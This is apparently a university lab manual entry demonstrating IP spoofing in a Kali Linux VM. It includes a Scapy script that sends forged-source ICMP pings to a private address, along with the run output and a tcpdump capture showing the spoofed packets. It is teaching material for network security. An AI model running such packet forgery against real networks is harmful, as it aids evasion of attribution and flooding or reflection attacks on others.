

EXPERIMENT – 11

Performing IP Spoofing Using a GitHub Tool in Kali Linux

Aim:

To demonstrate IP spoofing techniques using an open-source GitHub tool in Kali Linux for understanding network-level attack concepts and security vulnerabilities.

Software Requirements

- **Host Operating System:** Windows / Linux / macOS
- **Virtualization Software:** Oracle VirtualBox
- **Guest Operating System:** Kali Linux
- **Tool Source:** GitHub (IP Spoofing Tool – Educational Use)
- **Programming Language:** Python / Bash (as per tool)
- **System Requirements:**
 - RAM: Minimum 4 GB (8 GB recommended)
 - Disk Space: Minimum 30 GB
 - Processor: Intel/AMD with Virtualization support

Procedure:

Step 1: Start Kali Linux Virtual Machine

1. Open Oracle VirtualBox.
2. Start Kali Linux.
3. Log in using Kali credentials.

Step 2: Open Terminal

1. Launch Terminal in Kali Linux.
2. Update system packages:
`sudo apt update`

Step 3: Clone IP Spoofing Tool from GitHub

1. Clone the repository:
`git clone https://github.com/<username>/<ip-spoofing-tool>`
2. Navigate to the tool directory:
`cd ip-spoofing-tool`

Step 4: Install Dependencies

1. Install required dependencies:
`sudo apt install python3`
`pip3 install -r requirements.txt`

Step 5: Configure the Tool

1. Open the script file:
`nano spoof.py`
2. Configure:
 - Target IP address
 - Spoofed source IP address

- Network interface

Step 6: Execute IP Spoofing

1. Run the tool with root privileges:
sudo python3 spoof.py
2. Observe packet transmission with spoofed IP addresses.

Step 7: Monitor Network Traffic (Optional)

1. Use Wireshark or tcpdump:
sudo tcpdump
2. Verify spoofed source IP packets.

Output:

```
from scapy.all import *
import sys

# --- CONFIGURATION ---
# Replace with the IP of another VM in your VirtualBox network
target_ip = "192.168.1.50"

# Replace with the fake source IP you want to pretend to be
spoofed_ip = "10.10.10.10"

# Replace with your Kali network interface (e.g., eth0)
network_interface = "eth0"

print(f"[*] Starting IP Spoofing Attack... ")
print(f"[*] Sending packets to {target_ip} masquerading as {spoofed_ip} ... ")

try:
    # Craft the IP header with the spoofed source IP
    ip_header = IP(src=spoofed_ip, dst=target_ip)

    # Craft an ICMP (Ping) packet
    icmp_header = ICMP()

    # Combine headers and add a payload
    packet = ip_header / icmp_header / "Educational Spoofing Test"

    # Send the packet on a loop
    send(packet, iface=network_interface, count=10, verbose=True)

    print("[*] Spoofed packets sent successfully.")

except PermissionError:
    print("[!] Error: You must run this script with root privileges (sudo).")
except Exception as e:
    print(f"[!] An error occurred: {e}")
```

```
(kali@kali)~/ip-spoofing-tool
$ sudo python3 spoof.py
[*] Starting IP Spoofing Attack ...
[*] Sending packets to 192.168.1.50 masquerading as 10.10.10.10 ...
/usr/lib/python3/dist-packages/scapy/sendrecv.py:479: SyntaxWarning: 'iface'
has no effect on L3 I/O send(). For multicast/link-local see https://scapy.re
adthedocs.io/en/latest/usage.html#multicast
  warnings.warn(
.....
Sent 10 packets.
[*] Spoofed packets sent successfully.
```

```
(kali@kali)-[~]
$ sudo tcpdump -i eth0 icmp -n
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
00:22:00.637239 IP 10.10.10.10 > 192.168.1.50: ICMP echo request, id 0, seq 0
, length 33
00:22:00.638077 IP 10.10.10.10 > 192.168.1.50: ICMP echo request, id 0, seq 0
, length 33
00:22:00.638799 IP 10.10.10.10 > 192.168.1.50: ICMP echo request, id 0, seq 0
, length 33
00:22:00.639512 IP 10.10.10.10 > 192.168.1.50: ICMP echo request, id 0, seq 0
, length 33
00:22:00.640229 IP 10.10.10.10 > 192.168.1.50: ICMP echo request, id 0, seq 0
, length 33
00:22:00.640886 IP 10.10.10.10 > 192.168.1.50: ICMP echo request, id 0, seq 0
, length 33
00:22:00.641453 IP 10.10.10.10 > 192.168.1.50: ICMP echo request, id 0, seq 0
, length 33
00:22:00.642053 IP 10.10.10.10 > 192.168.1.50: ICMP echo request, id 0, seq 0
, length 33
00:22:00.642659 IP 10.10.10.10 > 192.168.1.50: ICMP echo request, id 0, seq 0
, length 33
00:22:00.643290 IP 10.10.10.10 > 192.168.1.50: ICMP echo request, id 0, seq 0
, length 33
```

Result:

IP spoofing was successfully demonstrated using a GitHub-based tool in Kali Linux. The experiment illustrates how attackers can manipulate IP headers and highlights the need for robust network security mechanisms.